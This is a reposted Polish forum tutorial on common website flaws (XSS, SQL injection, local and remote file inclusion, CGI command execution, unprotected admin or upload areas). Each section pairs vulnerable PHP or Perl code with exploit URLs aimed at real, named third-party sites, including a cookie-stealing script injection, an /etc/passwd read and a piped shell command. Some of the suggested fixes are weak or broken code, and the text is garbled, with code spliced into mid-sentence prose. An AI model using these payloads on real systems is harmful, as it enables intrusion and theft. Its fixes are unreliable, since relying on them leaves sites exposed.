Temat nie został napisany przeze mnie ale pomyślałem że komuś może się przydać.
Błędy na www - wykorzystanie/zabezpieczenie
Spis treści
- Wstęp
- XSS
- SQL
- LFI
- RFI
- RCE
- Bypass
- Zakończenie
__________________________________________________ ________________________
.: Wstęp
W artykule tym przedstawię znane mi błędy, występujące na stronach www, jak i opiszę na czym one polegają, jak je wykorzystać i jak się przed nimi zabezpieczyć.
Informacje należy wykorzystać do zbadania i ewentualnego zabezpieczenia własnej witryny.
__________________________________________________ ________________________
.: XSS - Cross-Site Scripting
Błąd ten pozwala na wstawienie i wykonanie kodu HTML lub JS na stronie. Najczęściej wykorzystuje się go, w celu przejęcia cookies. Polega on na braku filtracji danych pochodzących od użytkownika. Zinterpretujmy stronę, na której jest wyszukiwarka (Błąd jest na tyle nie groźny, że można go przedstawić na przykładzie), [ www ] . W źródle strony widnieje kod:
Wyszukajmu teraz słowa 'qwerty'. Co się stało ? Link teraz wygląda tak:<form method="get">
<input type="text" name="searchFor" value="" />
<button type="submit">Search</button>
</form>
avast.com/eng/search.php?searchFor=qwerty
A w polu input pojawiła się wartość value
Najprawdopodobniej kod tej strony wygląda tak<input type="text" name="searchFor" value="qwerty" />
Więc wystarczy zamknąć pole input aby wykonał się nasz kod, przykładowo wpisujemy:<input type="text" name="searchFor" value="<?php $_GET['searchFor']; ?>" />
">qwerty
czego wynikiem będzie kod widniejący w źródle
Wykorzystanie:avast.com/eng/search.php?searchFor=%22%3E%3Cscript%3Ealert%28doc ument.cookie%29%3B%3C%2Fscript%3E<input type="text" name="searchFor" value="">qwerty" />
Zabezpieczenie:
__________________________________________________ ________________________value="<?php htmlspecialchars($_GET['searchFor']); ?>"
.: SQL injection
Błąd wynikający z niedostatecznego lub braku filtrowania danych pochodzących od użytkownika, które zostają wstawione do zapytania SQL. Błąd ten można spotkać najczęściej pod zmienną 'id' w linku, gdzie to numer przypisany do zmiennej, odpowiada numerowi id w bazie danych. Najczęściej występuje w skryptach wyświetlających newsy lub artykułu.
Wystarczy więc sprawić, aby to zapytanie się nie wykonało i dopisać własne. Przykładowo nie ma prawa być id=-1 więc sprawdźmy co się stanie$artid = $_GET['id'];
$ideq = mysql_query("SELECT author, text FROM article WHERE id='".$artid."'");
gdy je wpiszemy [ www ] .
Wykorzystanie:http://www.kzt.oswiata.org.pl/n.php?...+*+from+news/*
Zabezpieczenie:
__________________________________________________ ________________________mysql_query("SELECT author, text FROM article WHERE id='".addslashes($artid)."'");
.: LFI - Local File Include
Błąd wynikający z nieprzemyślanego zastosowania funkcji fread(), file(), get_content(), lub include().
Jak sama nazwa wskazuje, pozwala on na wyświetlenie na stronie pliku, do którego ścieżka znajduje się w adresie URL. Błędu tego nie widać w źródle, gdyż jest on błędem w kodzie php. Przykładowy kod zawierający błąd LFI może wyglądać następująco.
Wykorzystanie:www.aerodinamica.net/artigo.php?txt=/etc/passwd<?php
$file = $_GET['site'];
if(file_exist($file))
{
$show = fread(fopen($file, "r"), filesize($file));
echo $show;
}
else echo "Error 404";
?>
Zabezpieczenie:
Najlepiej omijać przenoszenie ścieżek w linkach, a jeśli nie ma innej opcji, należałoby zdefiniować tablicę plików, które mogą być czytane.
__________________________________________________ ________________________
.: RFI - Remote File Include
Błąd pozwala na wykonanie kodu PHP, po przez zaincludowanie pliku z innego servera. Jest to chyba najpopularniejszy błąd, znany również jako include bug.
Polega on na braku filtracji zmiennych, przenoszonych w linku, które w rezultacie zostają wstawione do jednej z funkcji include(), include_once(), require(), require_once(). Najczęściej można spotkać następujący, błędny kod:
Wykorzystanie:http://www.osc-chauny.com/affiche.ph...tp://google.pl<?php
$site = $_GET['url'];
switch($site)
{
case "about.php": include("site/$site"); break;
// ....
default: include($site); break;
}
?>
Zabezpieczenie:Tak jak w przypadku LFI
__________________________________________________ ________________________
.: RCE - Remote Command Execution
Występujący w skryptach CGI, gdzie mało osób zdaje sobie sprawę, że funkcja open() pozwala na wykonanie unixowych poleceń.
Spotyka się kod podobny to tego:
W ten czas wystarczy dopisać do adresu polecenie, obejmując je znakami '|', aby zostało wykonane.use CGI;
$input=CGI->new();
$plik = $input->param('plik');
open(FILE, $plik) or &diehtml("404");
Wykorzystanie:http://www.scrove.com/cgi-bin/mods/a...tions.html|ls|
Zabezpieczenie:Tablica ze sztywnymi ścieżkami.
__________________________________________________ ________________________
.: Bypass
Jest to błąd, który charakteryzuje się totalnym brakiem zabezpieczeń formularzy przeznaczonych do uploadu plików, czy też możliwością wejścia do katalogu, który zawiera pliki konfiguracyjne lub panel administracyjny. W pierwszym momencie może wydawać się to śmieszne, ale są programiści, którzy pisząc upload zdjęć, dopuszczają pliki.php :wink:
Wykorzystanie:www.antoniobasile.it/neuronblog/admin/
Zabezpieczenie:.htaccess
__________________________________________________ ________________________
.: Zakończenie
To już wszystko co miałem do przekazania w tej kwestii. Myślę, że artykuł, chodź krótki, pozwoli Ci odpowiednio zabezpieczyć stronę.
Pozdrawiam
autor: ζβτ
źródło: http://www.haxite.org/index.php3?sit...ul_view&id=792